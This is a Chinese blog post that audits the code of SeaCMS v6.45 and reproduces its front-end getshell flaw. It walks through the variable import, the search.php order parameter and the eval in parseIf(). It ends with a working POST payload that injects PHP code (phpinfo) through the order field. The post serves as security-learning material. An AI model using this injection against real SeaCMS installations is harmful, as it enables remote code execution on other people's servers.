SeaCMS v6.45 前台getshell复现及代码审计

环境搭建

配置信息

系统:Windows 10
浏览器:FireFox
集成环境:PHPStudy
PHP版本:5.5.38
Apache
Mysql
审计软件:Seay

搭建完成后页面截图如下:

代码审计

由于之前对 SeaCMS 此版本漏洞经过简单的审计学习其原理,这里就试着自己复现一下,带上代码审计过程,巩固一下最近在学习的代码审计

首先需要外部参数传入,这里通过溯源,可以看到在 include/common.php 中的代码:

//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
    {
        exit('Request var not allow!');
    }
}

···省略几行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

接下来回到漏洞的触发点 search.php 文件中,对于重点代码进行审计

漏洞的触发函数在 echoSearchPage() 这个函数中

if(intval($searchtype)==5)
    {
        $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
        $typeStr = !empty($tid)?intval($tid).'_':'0_';
        $yearStr = !empty($year)?PinYin($year).'_':'0_';
        $letterStr = !empty($letter)?$letter.'_':'0_';
        $areaStr = !empty($area)?PinYin($area).'_':'0_';
        $orderStr = !empty($order)?$order.'_':'0_';
        $jqStr = !empty($jq)?$jq.'_':'0_';
        $cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
        $pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
    }

其中,参数 order 可通过 GET 或者 POST 传入,由触发条件可知,这里得满足 searchtype==5 ($order也不得为空)

$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);

其中最后一个变量 content 可通过 order 间接控制

追踪 content 变量,可以在看到在 include/main.class.php 文件中的 parseIf($content) 函数里被引用到

function parseIf($content){
        if (strpos($content,'{if:')=== false){
        return $content;
        }else{
        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
        $labelRule2="{elseif";
        $labelRule3="{else}";
        preg_match_all($labelRule,$content,$iar);
        $arlen=count($iar[0]);
        $elseIfFlag=false;
        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                    $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

这里为了便于观察变量变化,在函数首部对 content 输出一下,查看变化

可以明显看到 content 中 存在 {if:,所以进入 else

$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";

这三条代码建立了正则匹配,追踪 buildregx 函数

function buildregx($regstr,$regopt)
{
    return '/'.str_replace('/','\/',$regstr).'/'.$regopt;
}

可知,此函数实现了在原代码中实现了把 {if:(.?)}(.?){end if} 中的 / 替换为 / 并与 is 拼接在一起(大概就这个意思)

这里 {if:(.?)}(.?){end if} 存在一定的难度,(.*?)采用了贪婪模式,在一个匹配以后,就往下进行,不会进行回溯

preg_match_all($labelRule,$content,$iar); 

实现 在 content 中匹配 刚才 buildregx() 返回的变量并存在 iar

这里对 strIf 的值输出观察此时 strIf 的内容

这里要注意 parseStrIf() 这个函数

function parseStrIf($strIf)
{
    if(strpos($strIf,'=')===false)
    {
        return $strIf;
    }
    if((strpos($strIf,'==')===false)&&(strpos($strIf,'=')>0))
    {
        $strIf=str_replace('=', '==', $strIf);
    }
    $strIfArr =  explode('==',$strIf);
    return (empty($strIfArr[0])?'NULL':$strIfArr[0])."==".(empty($strIfArr[1])?'NULL':$strIfArr[1]);
}

大致就是实现去掉'=''==',返回去等号后的字符串

iar 输出查看

这里输出一下 strThen 的内容,方便对比

跟进代码

if (strpos($strThen,$labelRule2)===false)

这一句输出显而易见结果为 false, 继续跟进代码

if (strpos($strThen,$labelRule3)>=0){
    $elsearray=explode($labelRule3,$strThen);
    $strThen1=$elsearray[0];
    $strElse1=$elsearray[1];
    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

if 条件成立,执行 eval()

先不着急构造POC,对代码审计流程进行简单的图示流程总结,使结构更加清晰

构造POC

由以上分析可知,
需要满足 @eval("if(".$strIf."){\$ifFlag=true;}else{$ifFlag=false;}");

$content = str_replace("{searchpage:ordername}",$order,$content);

需要使得 searchtype==5, 然后 content 通过传入的 order 来进行构造

由于正则条件 $labelRule = buildregx("{if:(.?)}(.?){end if}","is"); 存在以及

preg_match_all($labelRule,$content,$iar);

于是需要闭合括号,对此构造如下:

URL:http://127.0.0.1/seacms/search.php?searchtype=5
POST:order=}{end if} {if:1)phpinfo();if(1}{end if}

!!!这里补充一点,$content中的初始内容为 {if:"{searchpage:ordername}"=="time"}

很容易理解,POC中前面的 }用来闭合{if:},后面需加上{end if}使得代码可以被PHP识别执行

@eval("if(".$strIf."){\$ifFlag=true;}else{$ifFlag=false;}");

后面就需要满足 buildregx("{if:(.?)}(.?){end if}","is") 条件,即要满足 {if:}{end if}

最后闭合 if(".$strIf."),我们给他加上 1)phpinfo();if(1 即可

实际上这时候var_dump($strIf)也可以看到替换结果

最终结果就是 @eval("if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}")

到此,结束....

参考链接

[代码审计]SeaCMS v6.45前台Getshell 代码执行漏洞分析 ——之前看到这个复现过程,结果轮到自己复现时,卡在了最后一步,很惭愧~
W3school
菜鸟教程

Comments

添加新评论